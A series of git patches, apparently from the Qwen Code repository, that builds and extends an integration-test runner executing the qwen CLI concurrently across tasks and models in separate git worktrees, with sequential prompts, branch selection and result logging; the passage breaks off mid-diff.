+@dataclass +class Task: + """A task definition containing one or more prompts.""" + id: str + name: str + prompts: List[str] + + +@dataclass +class RunConfig: + """Configuration for the concurrent execution.""" + tasks: List[Task] + models: List[str] + concurrency: int = 4 + yolo: bool = True + source_repo: Path = field(default_factory=lambda: Path.cwd()) + worktree_base: Path = field(default_factory=lambda: Path.home() / ".qwen" / "worktrees") + outputs_dir: Path = field(default_factory=lambda: Path("./outputs")) + results_file: Path = field(default_factory=lambda: Path("./results.json")) + + +@dataclass +class RunRecord: + """Record of a single task/model execution.""" + run_id: str + task_id: str + task_name: str + model: str + status: RunStatus + worktree_path: Optional[str] = None + output_dir: Optional[str] = None + logs_dir: Optional[str] = None + started_at: Optional[str] = None + ended_at: Optional[str] = None + exit_code: Optional[int] = None + error_message: Optional[str] = None + stdout_file: Optional[str] = None + stderr_file: Optional[str] = None + + def to_dict(self) -> Dict[str, Any]: + return { + "run_id": self.run_id, + "task_id": self.task_id, + "task_name": self.task_name, + "model": self.model, + "status": self.status.value, + "worktree_path": self.worktree_path, + "output_dir": self.output_dir, + "logs_dir": self.logs_dir, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "error_message": self.error_message, + "stdout_file": self.stdout_file, + "stderr_file": self.stderr_file, + } + + @classmethod + def from_dict(cls, data: Dict[str, Any]) -> RunRecord: + return cls( + run_id=data["run_id"], + task_id=data["task_id"], + task_name=data["task_name"], + model=data["model"], + status=RunStatus(data["status"]), + worktree_path=data.get("worktree_path"), + output_dir=data.get("output_dir"), + logs_dir=data.get("logs_dir"), + started_at=data.get("started_at"), + ended_at=data.get("ended_at"), + exit_code=data.get("exit_code"), + error_message=data.get("error_message"), + stdout_file=data.get("stdout_file"), + stderr_file=data.get("stderr_file"), + ) + + +@dataclass +class ExecutionState: + """Overall execution state across all runs.""" + runs: List[RunRecord] = field(default_factory=list) + total: int = 0 + completed: int = 0 + succeeded: int = 0 + failed: int = 0 + + +class GitWorktreeManager: + """Manages git worktree creation, initialization, and cleanup.""" + + def __init__(self, console: Console, source_repo: Path): + self.console = console + self.source_repo = source_repo + + async def create(self, source_repo: Path, worktree_dir: Path) -> Path: + """Create a new git worktree from the source repository.""" + worktree_dir.parent.mkdir(parents=True, exist_ok=True) + + cmd = ["git", "worktree", "add", str(worktree_dir), "HEAD"] + self.console.print(f"[dim]Git: {' '.join(cmd)}[/dim]") + result = await self._run_command(cmd, cwd=source_repo) + + if result.returncode != 0: + raise RuntimeError(f"Failed to create worktree: {result.stderr}") + + return worktree_dir + + async def initialize(self, worktree_dir: Path) -> None: + """Initialize the worktree by running npm install and npm run build.""" + # npm install + self.console.print(f"[dim]Running npm install in {worktree_dir.name}...[/dim]") + install_result = await self._run_command( + ["npm", "install"], + cwd=worktree_dir, + timeout=300 + ) + if install_result.returncode != 0: + raise RuntimeError(f"npm install failed: {install_result.stderr}") + + # npm run build + self.console.print(f"[dim]Running npm run build in {worktree_dir.name}...[/dim]") + build_result = await self._run_command( + ["npm", "run", "build"], + cwd=worktree_dir, + timeout=300 + ) + if build_result.returncode != 0: + raise RuntimeError(f"npm run build failed: {build_result.stderr}") + + async def remove(self, worktree_dir: Path) -> None: + """Remove a git worktree.""" + if not worktree_dir.exists(): + self.console.print(f"[dim]Worktree already removed: {worktree_dir}[/dim]") + return + + self.console.print(f"[dim]Removing worktree: {worktree_dir}[/dim]") + cmd = ["git", "worktree", "remove", "--force", str(worktree_dir)] + result = await self._run_command(cmd, cwd=self.source_repo) + + if result.returncode != 0: + self.console.print(f"[yellow]Warning: Failed to remove worktree {worktree_dir}: {result.stderr}[/yellow]") + # Fallback to manual removal + try: + shutil.rmtree(worktree_dir, ignore_errors=True) + except Exception: + pass + + async def _run_command( + self, + cmd: List[str], + cwd: Optional[Path] = None, + timeout: int = 60 + ) -> subprocess.CompletedProcess: + """Run a command asynchronously.""" + proc = await asyncio.create_subprocess_exec( + *cmd, + cwd=cwd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + try: + stdout, stderr = await asyncio.wait_for( + proc.communicate(), + timeout=timeout + ) + return subprocess.CompletedProcess( + args=cmd, + returncode=proc.returncode, + stdout=stdout.decode() if stdout else "", + stderr=stderr.decode() if stderr else "", + ) + except asyncio.TimeoutError: + proc.kill() + await proc.wait() + raise RuntimeError(f"Command timed out after {timeout}s: {' '.join(cmd)}") + + +class StatusTracker: + """Thread-safe status tracking with JSON persistence.""" + + def __init__(self, results_file: Path, console: Console): + self.results_file = results_file + self.console = console + self._lock = asyncio.Lock() + self._runs: Dict[str, RunRecord] = {} + + async def initialize(self, runs: List[RunRecord]) -> None: + """Initialize the tracker with all runs.""" + async with self._lock: + for run in runs: + self._runs[run.run_id] = run + await self._persist() + + async def update_status( + self, + run_id: str, + status: RunStatus, + **kwargs + ) -> None: + """Update the status of a run.""" + async with self._lock: + if run_id in self._runs: + run = self._runs[run_id] + run.status = status + for key, value in kwargs.items(): + if hasattr(run, key): + setattr(run, key, value) + await self._persist() + + async def _persist(self) -> None: + """Persist current state to JSON file.""" + data = { + "updated_at": datetime.now().isoformat(), + "runs": [run.to_dict() for run in self._runs.values()], + } + + # Write atomically + temp_file = self.results_file.with_suffix('.tmp') + async with aiofiles.open(temp_file, 'w') as f: + await f.write(json.dumps(data, indent=2)) + + temp_file.replace(self.results_file) + + def get_state(self) -> ExecutionState: + """Get current execution state.""" + runs = list(self._runs.values()) + completed = sum(1 for r in runs if r.status in (RunStatus.SUCCEEDED, RunStatus.FAILED)) + succeeded = sum(1 for r in runs if r.status == RunStatus.SUCCEEDED) + failed = sum(1 for r in runs if r.status == RunStatus.FAILED) + + return ExecutionState( + runs=runs, + total=len(runs), + completed=completed, + succeeded=succeeded, + failed=failed, + ) + + def get_active_runs(self) -> List[RunRecord]: + """Get currently active runs.""" + active_statuses = {RunStatus.PREPARING, RunStatus.INITIALIZING, RunStatus.RUNNING} + return [r for r in self._runs.values() if r.status in active_statuses] + + +class ProgressDisplay: + """Rich-based progress display.""" + + def __init__(self, console: Console): + self.console = console + self.live: Optional[Live] = None + + def start(self) -> None: + """Start the live display.""" + self.live = Live(auto_refresh=True, console=self.console) + self.live.start() + + def stop(self) -> None: + """Stop the live display.""" + if self.live: + self.live.stop() + + def update(self, state: ExecutionState) -> None: + """Update the display with current state.""" + if not self.live: + return + + # Summary panel + summary = Table.grid(expand=True) + summary.add_column() + summary.add_column() + summary.add_row( + f"[bold]Total:[/bold] {state.total}", + f"[bold]Completed:[/bold] {state.completed}/{state.total}" + ) + summary.add_row( + f"[green bold]Succeeded:[/green bold] {state.succeeded}", + f"[red bold]Failed:[/red bold] {state.failed}" + ) + + # Active runs table + active_runs = [r for r in state.runs if r.status not in (RunStatus.SUCCEEDED, RunStatus.FAILED, RunStatus.QUEUED)] + + runs_table = Table( + title="Active Runs", + show_header=True, + header_style="bold magenta", + expand=True, + ) + runs_table.add_column("Task", style="cyan") + runs_table.add_column("Model", style="green") + runs_table.add_column("Status", style="yellow") + runs_table.add_column("Started", style="dim") + + for run in active_runs[:10]: # Show up to 10 active runs + started = run.started_at or "N/A" + if len(started) > 19: + started = started[11:19] # Extract time portion + runs_table.add_row( + run.task_name[:30], + run.model[:25], + run.status.value, + started, + ) + + # Recent completed runs + completed_runs = sorted( + [r for r in state.runs if r.status in (RunStatus.SUCCEEDED, RunStatus.FAILED)], + key=lambda r: r.ended_at or "", + reverse=True, + )[:5] + + completed_table = Table( + title="Recently Completed", + show_header=True, + header_style="bold blue", + expand=True, + ) + completed_table.add_column("Task", style="cyan") + completed_table.add_column("Model", style="green") + completed_table.add_column("Status", style="bold") + completed_table.add_column("Duration", style="dim") + + for run in completed_runs: + status_color = "green" if run.status == RunStatus.SUCCEEDED else "red" + duration = "N/A" + if run.started_at and run.ended_at: + try: + start = datetime.fromisoformat(run.started_at) + end = datetime.fromisoformat(run.ended_at) + duration_sec = (end - start).total_seconds() + duration = f"{duration_sec:.1f}s" + except: + pass + + completed_table.add_row( + run.task_name[:30], + run.model[:25], + f"[{status_color}]{run.status.value}[/{status_color}]", + duration, + ) + + # Combine everything + layout = Table.grid(expand=True) + layout.add_column() + layout.add_row(Panel(summary, title="Execution Summary", border_style="blue")) + layout.add_row(runs_table) + if completed_runs: + layout.add_row(completed_table) + + self.live.update(layout) + + def show_final_summary(self, state: ExecutionState) -> None: + """Show final execution summary.""" + self.console.print() + self.console.print(Panel( + f"[bold green]Execution Complete![/bold green]\n\n" + f"Total Runs: {state.total}\n" + f"Succeeded: [green]{state.succeeded}[/green]\n" + f"Failed: [red]{state.failed}[/red]\n" + f"Success Rate: {(state.succeeded / state.total * 100):.1f}%", + title="Final Results", + border_style="green" if state.failed == 0 else "yellow", + )) + + +class QwenRunner: + """Executes the Qwen CLI for a specific task and model.""" + + def __init__(self, config: RunConfig, console: Console): + self.config = config + self.console = console + + async def run( + self, + run: RunRecord, + worktree_dir: Path, + output_dir: Path, + ) -> None: + """Execute the Qwen CLI and capture output.""" + output_dir.mkdir(parents=True, exist_ok=True) + run.output_dir = str(output_dir) + + # Build command (needs output_dir set for logs) + cmd = self._build_command(run) + self.console.print(f"[blue]Executing qwen CLI...[/blue]") + self.console.print(f"[dim]Command: {' '.join(cmd)}[/dim]") + + # Prepare output files + stdout_file = output_dir / "stdout.txt" + stderr_file = output_dir / "stderr.txt" + + run.stdout_file = str(stdout_file) + run.stderr_file = str(stderr_file) + + # Run the CLI + env = os.environ.copy() + env["QWEN_CODE_ROOT"] = str(worktree_dir) + + proc = await asyncio.create_subprocess_exec( + *cmd, + cwd=worktree_dir, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + env=env, + ) + + # Capture output + stdout_data = [] + stderr_data = [] + + async def read_stream(stream, data_list, file_path): + async with aiofiles.open(file_path, 'w') as f: + while True: + line = await stream.readline() + if not line: + break + decoded = line.decode() + data_list.append(decoded) + await f.write(decoded) + await f.flush() + + await asyncio.gather( + read_stream(proc.stdout, stdout_data, stdout_file), + read_stream(proc.stderr, stderr_data, stderr_file), + ) + + returncode = await proc.wait() + run.exit_code = returncode + + if returncode != 0: + raise RuntimeError(f"CLI exited with code {returncode}") + + def _build_command(self, run: RunRecord) -> List[str]: + """Build the qwen CLI command.""" + cmd = ["qwen"] + + # Add model + cmd.extend(["--model", run.model]) + + # Add yolo if enabled + if self.config.yolo: + cmd.append("--yolo") + + # Always enable OpenAI logging to run-specific logs directory + cmd.append("--openai-logging") + run_logs_dir = (Path(run.output_dir) / "logs").resolve() + run_logs_dir.mkdir(parents=True, exist_ok=True) + cmd.extend(["--openai-logging-dir", str(run_logs_dir)]) + run.logs_dir = str(run_logs_dir) + + # Get the task prompts + task = next((t for t in self.config.tasks if t.id == run.task_id), None) + if task: + prompt_text = "\n\n".join(task.prompts) + cmd.extend(["--prompt", prompt_text]) + + return cmd + + +def generate_run_matrix(config: RunConfig) -> List[RunRecord]: + """Generate all task × model combinations.""" + runs = [] + for task in config.tasks: + for model in config.models: + run_id = str(uuid.uuid4())[:8] + runs.append(RunRecord( + run_id=run_id, + task_id=task.id, + task_name=task.name, + model=model, + status=RunStatus.QUEUED, + )) + return runs + + +def load_config(config_path: Path) -> RunConfig: + """Load configuration from JSON file.""" + with open(config_path, 'r') as f: + data = json.load(f) + + tasks = [Task(**t) for t in data.get("tasks", [])] + + return RunConfig( + tasks=tasks, + models=data.get("models", []), + concurrency=data.get("concurrency", 4), + yolo=data.get("yolo", True), + source_repo=Path(data.get("source_repo", ".")).resolve(), + worktree_base=Path(data.get("worktree_base", "~/.qwen/worktrees")).expanduser(), + outputs_dir=Path(data.get("outputs_dir", "./outputs")), + results_file=Path(data.get("results_file", "./results.json")), + ) + + +async def execute_single_run( + run: RunRecord, + config: RunConfig, + tracker: StatusTracker, + worktree_manager: GitWorktreeManager, + qwen_runner: QwenRunner, + console: Console, +) -> None: + """Execute a single run with proper cleanup.""" + worktree_dir = None + + try: + # Step 1: Create worktree + await tracker.update_status(run.run_id, RunStatus.PREPARING) + worktree_dir = config.worktree_base / f"run-{run.run_id}" + await worktree_manager.create(config.source_repo, worktree_dir) + run.worktree_path = str(worktree_dir) + run.started_at = datetime.now().isoformat() + + # Step 2: Initialize (npm install + build) + await tracker.update_status(run.run_id, RunStatus.INITIALIZING) + await worktree_manager.initialize(worktree_dir) + + # Step 3: Run CLI + await tracker.update_status(run.run_id, RunStatus.RUNNING) + output_dir = config.outputs_dir / run.run_id + await qwen_runner.run(run, worktree_dir, output_dir) + + # Step 4: Success + run.ended_at = datetime.now().isoformat() + await tracker.update_status( + run.run_id, + RunStatus.SUCCEEDED, + exit_code=run.exit_code, + ended_at=run.ended_at, + ) + console.print(f"[green]✓[/green] {run.task_name} / {run.model}") + + except Exception as e: + run.ended_at = datetime.now().isoformat() + await tracker.update_status( + run.run_id, + RunStatus.FAILED, + error_message=str(e), + ended_at=run.ended_at, + ) + console.print(f"[red]✗[/red] {run.task_name} / {run.model}: {e}") + + finally: + # Step 5: Cleanup + if worktree_dir: + await worktree_manager.remove(worktree_dir) + + +async def run_all(config: RunConfig, console: Console) -> ExecutionState: + """Run all task/model combinations concurrently.""" + # Setup directories + config.worktree_base.mkdir(parents=True, exist_ok=True) + config.outputs_dir.mkdir(parents=True, exist_ok=True) + + # Generate all runs + runs = generate_run_matrix(config) + console.print(f"[bold]Generated {len(runs)} runs:[/bold] {len(config.tasks)} tasks × {len(config.models)} models") + + # Initialize components + tracker = StatusTracker(config.results_file, console) + await tracker.initialize(runs) + + worktree_manager = GitWorktreeManager(console, config.source_repo) + qwen_runner = QwenRunner(config, console) + display = ProgressDisplay(console) + + # Start progress display + display.start() + + # Progress update task + stop_event = asyncio.Event() + + async def update_progress(): + while not stop_event.is_set(): + state = tracker.get_state() + display.update(state) + if state.completed >= state.total: + stop_event.set() + break + try: + await asyncio.wait_for(stop_event.wait(), timeout=0.5) + except asyncio.TimeoutError: + continue + + # Execute runs with semaphore-controlled concurrency + semaphore = asyncio.Semaphore(config.concurrency) + + async def execute_with_limit(run: RunRecord): + async with semaphore: + await execute_single_run( + run, config, tracker, worktree_manager, qwen_runner, console + ) + + # Run everything + try: + await asyncio.gather( + update_progress(), + asyncio.gather(*[execute_with_limit(r) for r in runs]), + ) + finally: + stop_event.set() + display.stop() + + # Show final summary + final_state = tracker.get_state() + display.show_final_summary(final_state) + + return final_state + + +def main(): + parser = argparse.ArgumentParser( + description="Qwen Concurrent Runner - Execute multiple CLI tasks across models" + ) + parser.add_argument( + "config", + type=Path, + help="Path to configuration JSON file", + ) + parser.add_argument( + "--version", + action="version", + version="%(prog)s 1.0.0", + ) + + args = parser.parse_args() + + if not args.config.exists(): + print(f"Error: Config file not found: {args.config}", file=sys.stderr) + sys.exit(1) + + console = Console() + config = load_config(args.config) + + try: + final_state = asyncio.run(run_all(config, console)) + sys.exit(0 if final_state.failed == 0 else 1) + except KeyboardInterrupt: + console.print("\n[yellow]Interrupted by user[/yellow]") + sys.exit(130) + except Exception as e: + console.print(f"\n[red]Fatal error: {e}[/red]") + sys.exit(1) + + +if __name__ == "__main__": + main() From 47a733362eadc14aaa7da972ba5dc389bec7b6a1 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 12:27:10 +0800 Subject: [PATCH 64/79] feat: add sequential prompt execution and auto git initialization MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Enhance the concurrent runner with two key features: 1. Sequential Prompt Execution: - Run multiple prompts sequentially instead of joining them - Use --continue flag for prompts 2+ to pick up chat history - Generate separate output files per prompt (stdout-1.txt, stdout-2.txt, etc.) - Stop execution if any prompt fails - Track per-prompt results in results.json 2. Auto Git Initialization: - Automatically initialize git repo if source is not a git repository - Run git init → git add . → git commit automatically - Improves UX - users can point runner at any directory Changes: - Add PromptResult dataclass for per-prompt tracking - Modify RunRecord to include prompt_results list - Update QwenRunner.run() to execute prompts sequentially - Add GitWorktreeManager.ensure_git_repo() method - Update _build_command() to support --continue flag Co-authored-by: Qwen-Coder --- integration-tests/concurrent-runner/runner.py | 185 ++++++++++++------ 1 file changed, 130 insertions(+), 55 deletions(-) diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 23bf6ee88..d7ad24fba 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -63,6 +63,17 @@ class RunConfig: results_file: Path = field(default_factory=lambda: Path("./results.json")) +@dataclass +class PromptResult: + """Result of a single prompt execution.""" + prompt_index: int + prompt_text: str + stdout_file: str + stderr_file: str + exit_code: int + status: str # "succeeded" or "failed" + + @dataclass class RunRecord: """Record of a single task/model execution.""" @@ -78,8 +89,9 @@ class RunRecord: ended_at: Optional[str] = None exit_code: Optional[int] = None error_message: Optional[str] = None - stdout_file: Optional[str] = None - stderr_file: Optional[str] = None + stdout_file: Optional[str] = None # Deprecated: kept for backwards compatibility + stderr_file: Optional[str] = None # Deprecated: kept for backwards compatibility + prompt_results: List[PromptResult] = field(default_factory=list) def to_dict(self) -> Dict[str, Any]: return { @@ -97,6 +109,17 @@ class RunRecord: "error_message": self.error_message, "stdout_file": self.stdout_file, "stderr_file": self.stderr_file, + "prompt_results": [ + { + "prompt_index": r.prompt_index, + "prompt_text": r.prompt_text, + "stdout_file": r.stdout_file, + "stderr_file": r.stderr_file, + "exit_code": r.exit_code, + "status": r.status, + } + for r in self.prompt_results + ], } @classmethod @@ -136,6 +159,34 @@ class GitWorktreeManager: self.console = console self.source_repo = source_repo + async def ensure_git_repo(self) -> None: + """Ensure the source repository is a valid git repo, initialize if not.""" + git_dir = self.source_repo / ".git" + if git_dir.exists(): + return + + self.console.print(f"[yellow]Source repo is not a git repository. Initializing...[/yellow]") + + # git init + result = await self._run_command(["git", "init"], cwd=self.source_repo) + if result.returncode != 0: + raise RuntimeError(f"Failed to initialize git repo: {result.stderr}") + + # git add . + result = await self._run_command(["git", "add", "."], cwd=self.source_repo) + if result.returncode != 0: + raise RuntimeError(f"Failed to stage files: {result.stderr}") + + # git commit + result = await self._run_command( + ["git", "commit", "-m", "Initial commit"], + cwd=self.source_repo + ) + if result.returncode != 0: + raise RuntimeError(f"Failed to create initial commit: {result.stderr}") + + self.console.print(f"[green]✓ Git repository initialized[/green]") + async def create(self, source_repo: Path, worktree_dir: Path) -> Path: """Create a new git worktree from the source repository.""" worktree_dir.parent.mkdir(parents=True, exist_ok=True) @@ -420,62 +471,87 @@ class QwenRunner: worktree_dir: Path, output_dir: Path, ) -> None: - """Execute the Qwen CLI and capture output.""" + """Execute the Qwen CLI for each prompt sequentially.""" output_dir.mkdir(parents=True, exist_ok=True) run.output_dir = str(output_dir) - # Build command (needs output_dir set for logs) - cmd = self._build_command(run) - self.console.print(f"[blue]Executing qwen CLI...[/blue]") - self.console.print(f"[dim]Command: {' '.join(cmd)}[/dim]") + # Get the task and its prompts + task = next((t for t in self.config.tasks if t.id == run.task_id), None) + if not task or not task.prompts: + raise ValueError(f"No prompts found for task {run.task_id}") - # Prepare output files - stdout_file = output_dir / "stdout.txt" - stderr_file = output_dir / "stderr.txt" + # Setup logs directory + run_logs_dir = (output_dir / "logs").resolve() + run_logs_dir.mkdir(parents=True, exist_ok=True) + run.logs_dir = str(run_logs_dir) - run.stdout_file = str(stdout_file) - run.stderr_file = str(stderr_file) + # Run each prompt sequentially + for prompt_index, prompt_text in enumerate(task.prompts, start=1): + self.console.print(f"[blue]Executing prompt {prompt_index}/{len(task.prompts)}...[/blue]") - # Run the CLI - env = os.environ.copy() - env["QWEN_CODE_ROOT"] = str(worktree_dir) - - proc = await asyncio.create_subprocess_exec( - *cmd, - cwd=worktree_dir, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - env=env, - ) + # Build command for this prompt + cmd = self._build_command(run, prompt_text, prompt_index > 1) + self.console.print(f"[dim]Command: {' '.join(cmd)}[/dim]") - # Capture output - stdout_data = [] - stderr_data = [] + # Prepare output files for this prompt + stdout_file = output_dir / f"stdout-{prompt_index}.txt" + stderr_file = output_dir / f"stderr-{prompt_index}.txt" - async def read_stream(stream, data_list, file_path): - async with aiofiles.open(file_path, 'w') as f: - while True: - line = await stream.readline() - if not line: - break - decoded = line.decode() - data_list.append(decoded) - await f.write(decoded) - await f.flush() + # Run the CLI + env = os.environ.copy() + env["QWEN_CODE_ROOT"] = str(worktree_dir) - await asyncio.gather( - read_stream(proc.stdout, stdout_data, stdout_file), - read_stream(proc.stderr, stderr_data, stderr_file), - ) + proc = await asyncio.create_subprocess_exec( + *cmd, + cwd=worktree_dir, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + env=env, + ) - returncode = await proc.wait() - run.exit_code = returncode + # Capture output + async def read_stream(stream, file_path): + async with aiofiles.open(file_path, 'w') as f: + while True: + line = await stream.readline() + if not line: + break + decoded = line.decode() + await f.write(decoded) + await f.flush() - if returncode != 0: - raise RuntimeError(f"CLI exited with code {returncode}") + await asyncio.gather( + read_stream(proc.stdout, stdout_file), + read_stream(proc.stderr, stderr_file), + ) - def _build_command(self, run: RunRecord) -> List[str]: - """Build the qwen CLI command.""" + returncode = await proc.wait() + + # Record result for this prompt + prompt_result = PromptResult( + prompt_index=prompt_index, + prompt_text=prompt_text, + stdout_file=str(stdout_file), + stderr_file=str(stderr_file), + exit_code=returncode, + status="succeeded" if returncode == 0 else "failed", + ) + run.prompt_results.append(prompt_result) + + # Stop on failure + if returncode != 0: + run.exit_code = returncode + raise RuntimeError(f"Prompt {prompt_index} failed with exit code {returncode}") + + # All prompts succeeded + run.exit_code = 0 + # Set legacy stdout/stderr files to first prompt's files for backwards compatibility + if run.prompt_results: + run.stdout_file = run.prompt_results[0].stdout_file + run.stderr_file = run.prompt_results[0].stderr_file + + def _build_command(self, run: RunRecord, prompt_text: str, use_continue: bool = False) -> List[str]: + """Build the qwen CLI command for a single prompt.""" cmd = ["qwen"] # Add model @@ -487,16 +563,14 @@ class QwenRunner: # Always enable OpenAI logging to run-specific logs directory cmd.append("--openai-logging") - run_logs_dir = (Path(run.output_dir) / "logs").resolve() - run_logs_dir.mkdir(parents=True, exist_ok=True) - cmd.extend(["--openai-logging-dir", str(run_logs_dir)]) - run.logs_dir = str(run_logs_dir) + cmd.extend(["--openai-logging-dir", run.logs_dir]) - # Get the task prompts - task = next((t for t in self.config.tasks if t.id == run.task_id), None) - if task: - prompt_text = "\n\n".join(task.prompts) - cmd.extend(["--prompt", prompt_text]) + # Add --continue flag for follow-up prompts (to pick up chat history) + if use_continue: + cmd.append("--continue") + + # Add the prompt + cmd.extend(["--prompt", prompt_text]) return cmd @@ -605,6 +679,7 @@ async def run_all(config: RunConfig, console: Console) -> ExecutionState: await tracker.initialize(runs) worktree_manager = GitWorktreeManager(console, config.source_repo) + await worktree_manager.ensure_git_repo() qwen_runner = QwenRunner(config, console) display = ProgressDisplay(console) From 66259aca29597d6c5ecf39615ecdf6b92a78b6a0 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 12:36:23 +0800 Subject: [PATCH 65/79] feat: add git branch support for worktree creation Add optional branch configuration to specify which git branch to use for worktree creation. Features: - New branch config option to specify base branch (e.g., main, develop) - Each worktree creates a unique branch based on the specified branch (format: branch-run-id) - If branch is not specified, uses the repository default branch - Falls back gracefully when branch already exists Changes: - Add branch field to RunConfig dataclass - Update GitWorktreeManager.create() to accept branch parameter - Create unique branches for each worktree to avoid conflicts - Update load_config() to parse branch from config - Update config.example.json with branch option - Update README.md documentation Co-authored-by: Qwen-Coder --- integration-tests/concurrent-runner/README.md | 21 ++++++++++--------- .../concurrent-runner/config.example.json | 1 + integration-tests/concurrent-runner/runner.py | 21 ++++++++++++++----- 3 files changed, 28 insertions(+), 15 deletions(-) diff --git a/integration-tests/concurrent-runner/README.md b/integration-tests/concurrent-runner/README.md index f19c12239..cbc6bea4d 100644 --- a/integration-tests/concurrent-runner/README.md +++ b/integration-tests/concurrent-runner/README.md @@ -50,16 +50,17 @@ Create a JSON configuration file (see `config.example.json`): ### Configuration Options -| Option | Type | Default | Description | -| --------------- | ------ | ----------------- | -------------------------------- | -| `concurrency` | int | 4 | Maximum parallel executions | -| `yolo` | bool | true | Auto-approve all actions | -| `source_repo` | string | . | Source git repository path | -| `worktree_base` | string | ~/.qwen/worktrees | Base directory for git worktrees | -| `outputs_dir` | string | ./outputs | Directory for captured output | -| `results_file` | string | ./results.json | JSON file for run tracking | -| `tasks` | array | [] | List of task definitions | -| `models` | array | [] | List of model identifiers | +| Option | Type | Default | Description | +| --------------- | ------ | ----------------- | --------------------------------------------- | +| `concurrency` | int | 4 | Maximum parallel executions | +| `yolo` | bool | true | Auto-approve all actions | +| `source_repo` | string | . | Source git repository path | +| `branch` | string | null | Git branch to checkout (uses default if null) | +| `worktree_base` | string | ~/.qwen/worktrees | Base directory for git worktrees | +| `outputs_dir` | string | ./outputs | Directory for captured output | +| `results_file` | string | ./results.json | JSON file for run tracking | +| `tasks` | array | [] | List of task definitions | +| `models` | array | [] | List of model identifiers | ### Task Definition diff --git a/integration-tests/concurrent-runner/config.example.json b/integration-tests/concurrent-runner/config.example.json index 5efe5178f..7042e7eb6 100644 --- a/integration-tests/concurrent-runner/config.example.json +++ b/integration-tests/concurrent-runner/config.example.json @@ -2,6 +2,7 @@ "concurrency": 3, "yolo": true, "source_repo": ".", + "branch": "main", "worktree_base": "~/.qwen/worktrees", "outputs_dir": "./outputs", "results_file": "./results.json", diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index d7ad24fba..47a9f2081 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -61,6 +61,7 @@ class RunConfig: worktree_base: Path = field(default_factory=lambda: Path.home() / ".qwen" / "worktrees") outputs_dir: Path = field(default_factory=lambda: Path("./outputs")) results_file: Path = field(default_factory=lambda: Path("./results.json")) + branch: Optional[str] = None # Git branch to checkout (uses default if not set) @dataclass @@ -187,17 +188,26 @@ class GitWorktreeManager: self.console.print(f"[green]✓ Git repository initialized[/green]") - async def create(self, source_repo: Path, worktree_dir: Path) -> Path: + async def create(self, source_repo: Path, worktree_dir: Path, branch: Optional[str] = None) -> Path: """Create a new git worktree from the source repository.""" worktree_dir.parent.mkdir(parents=True, exist_ok=True) - cmd = ["git", "worktree", "add", str(worktree_dir), "HEAD"] + # Build worktree command + if branch: + # Create a unique branch for this worktree based on the specified branch + worktree_branch = f"{branch}-{worktree_dir.name}" + cmd = ["git", "worktree", "add", "-b", worktree_branch, str(worktree_dir), branch] + self.console.print(f"[dim]Git: Creating worktree with branch '{worktree_branch}' from '{branch}'...[/dim]") + else: + # Create worktree from HEAD (default branch) + cmd = ["git", "worktree", "add", str(worktree_dir)] + self.console.print(f"[dim]Git: {' '.join(cmd)}[/dim]") result = await self._run_command(cmd, cwd=source_repo) - + if result.returncode != 0: raise RuntimeError(f"Failed to create worktree: {result.stderr}") - + return worktree_dir async def initialize(self, worktree_dir: Path) -> None: @@ -607,6 +617,7 @@ def load_config(config_path: Path) -> RunConfig: worktree_base=Path(data.get("worktree_base", "~/.qwen/worktrees")).expanduser(), outputs_dir=Path(data.get("outputs_dir", "./outputs")), results_file=Path(data.get("results_file", "./results.json")), + branch=data.get("branch"), ) @@ -625,7 +636,7 @@ async def execute_single_run( # Step 1: Create worktree await tracker.update_status(run.run_id, RunStatus.PREPARING) worktree_dir = config.worktree_base / f"run-{run.run_id}" - await worktree_manager.create(config.source_repo, worktree_dir) + await worktree_manager.create(config.source_repo, worktree_dir, config.branch) run.worktree_path = str(worktree_dir) run.started_at = datetime.now().isoformat() From f48eec9a02fdeb17ac7095784caeaf58cd161db2 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 14:57:15 +0800 Subject: [PATCH 66/79] feat: add git diff capture and session log collection to concurrent runner - Add git diff capture after each run, saved as diff.patch - Add session log collection from ~/.qwen/projects/{id}/chats/ - Store session logs in outputs/{run_id}/chats/ with original filename - Add session_id field to track chat recording UUID - Modify cwd in session logs to actual runner working directory - Remove stdout_file/stderr_file from top-level, keep only in prompt_results - Rename logs folder to openai-logs - Add File Writer task example for testing file creation Co-authored-by: Qwen-Coder --- .gitignore | 3 + .../examples/toy-config.json | 8 +- integration-tests/concurrent-runner/runner.py | 141 ++++++++++++++++-- 3 files changed, 136 insertions(+), 16 deletions(-) diff --git a/.gitignore b/.gitignore index 705216c80..e0e0488ae 100644 --- a/.gitignore +++ b/.gitignore @@ -63,3 +63,6 @@ patch_output.log docs-site/.next # content is a symlink to ../docs docs-site/content + +# python cache +__pycache__/ \ No newline at end of file diff --git a/integration-tests/concurrent-runner/examples/toy-config.json b/integration-tests/concurrent-runner/examples/toy-config.json index 51eabff61..c7ba28be9 100644 --- a/integration-tests/concurrent-runner/examples/toy-config.json +++ b/integration-tests/concurrent-runner/examples/toy-config.json @@ -15,12 +15,12 @@ }, { "id": "task-2", - "name": "AGI Prediction", + "name": "File Writer", "prompts": [ - "Use shell tool to get current date", - "Predict how many dates left until we have AGI (artificial general intelligence)" + "Use shell tool to get current date.", + "Create a new file called 'counter.txt' with numbers 1 to 10, each on a new line." ] } ], - "models": ["qwen3-coder-plus", "kimi-k2.5"] + "models": ["qwen3-coder-plus", "claude-sonnet-4-20250514"] } diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 47a9f2081..43e00bace 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -20,7 +20,7 @@ from dataclasses import dataclass, field, asdict from datetime import 